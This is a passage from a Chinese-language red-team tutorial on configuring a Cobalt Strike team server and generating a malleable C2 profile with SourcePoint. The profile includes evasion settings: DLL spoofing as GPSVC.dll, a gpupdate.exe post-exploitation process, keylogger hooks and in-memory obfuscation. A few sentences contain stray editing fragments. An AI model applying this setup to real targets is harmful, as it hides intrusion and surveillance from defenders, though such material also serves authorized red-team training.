[+] .http-post.client.output transform+mangle+recover passed (1 byte[s])
[+] .http-post.client.output POSTs results
[+] .http-post.client.output transform+mangle+recover passed (48248 byte[s])
[+] .http-post.client.output transform+mangle+recover passed (1048576 byte[s])
[+] Beacon profile specifies an HTTP Cookie header. Will tell WinINet to allow this.
[!] .host_stage is FALSE. This will break staging over HTTP, HTTPS, and DNS!
[!] .code-signer.keystore is missing. Will not sign executables and DLLs
[+] SSL certificate generation OK
我们可以看到,该侧写关闭了 Staging,即分阶段载荷,因为这会带来严重的 OPSEC 的问题,但我们会在后续章节讨论。此外,在下一小节,我们会导入之前创建的证书,并对侧写文件中的证书部分进行修改。
在开启 TS 之前,我们还需要修改默认的 TS 团队服务器端口,尽管我们并不会把 TS 的端口暴露在互联网上。编辑 teamserver 脚本,翻到第57行 57 行,将默认的 50050 换为另外一个端口。
# start the team server.
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=49227 -Dcobaltstrike.server_bindto=0.0.0.0 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cobaltstrike.jar:. -Duser.language=en server.TeamServer $*
此外,我们可以用工具 SourcePoint (https://github.com/Tylous/SourcePoint) 来生成属于我们更加自定制化义的 C2 侧写。我们需要先填写一个 yaml 文件:
Stage: "False"
Host: "34.192.196.71"
Keystore: "ts.store"
Password: "123123"
Metadata: "netbios"
Injector: "VirtualAllocEx"
Outfile: "test.profile"
PE_Clone: 20
Profile: 4
Allocation: 5312
Jitter: 30
Debug: true
Sleep: 35
Uri: 3
Useragent: "Innocent"
Post-EX Processname: 11
Datajitter: 40
Keylogger: "SetWindowsHookEx"
Customuri:
CDN:
CDN_Value:
ProfilePath:
Forwarder: True
然后我们用 sourcepoint 来根据 yaml 文件生成自定义的 C2 侧写:
root@ts:/opt/framework/cobaltstrike4.3#因为 ./sourcepoint -Yaml profile.yaml
_____ ____ _ __
/ ___/____ __ _______________ / __ \____ (_)___ / /_
\__ \/ __ \/ / / / ___/ ___/ _ \/ /_/ / __ \/ / __ \/ __/
___/ / /_/ / /_/ / / / /__/ __/ ____/ /_/ / / / / / /_
/____/\____/\__,_/_/ \___/\___/_/ \____/_/_/ /_/\__/
(@Tyl0us)
[*] Preparing Varibles...
[!] Self Signed SSL Cerificate Used
[*] Valid SSL Cerificate Used
[*] Building Profile...
[!] Host Staging Is Disabled - Staged Payloads Are Not Available But Your Beacon Payload Is Not Available To Anyone That Connects
[*] Beacon DLL Spoofed To: GPSVC.dll
[*] Post-Ex Process Name: gpupdate.exe
[!] Beacon Shellcode Will Obfuscate Beacon in Memory Prior to Sleeping
[*] Seleted Profile: Outlook.Live
[+] Profile Generated: test.profile
[+] Happy Hacking
编辑生成的侧写文件的部分选项可能不被我们当前所使用的 CS 版本 所支持,我们需要注释掉以下几行:对应的选项与值,例如:
# Task and Proxy Max Size
#set tasks_max_size "1048576";
#set tasks_proxy_max_size "921600";
#set tasks_dns_proxy_max_size "71680";
.......
#header "Host" "34.192.196.71";
然后,使用 C2 lint 测试语法,便能通过了。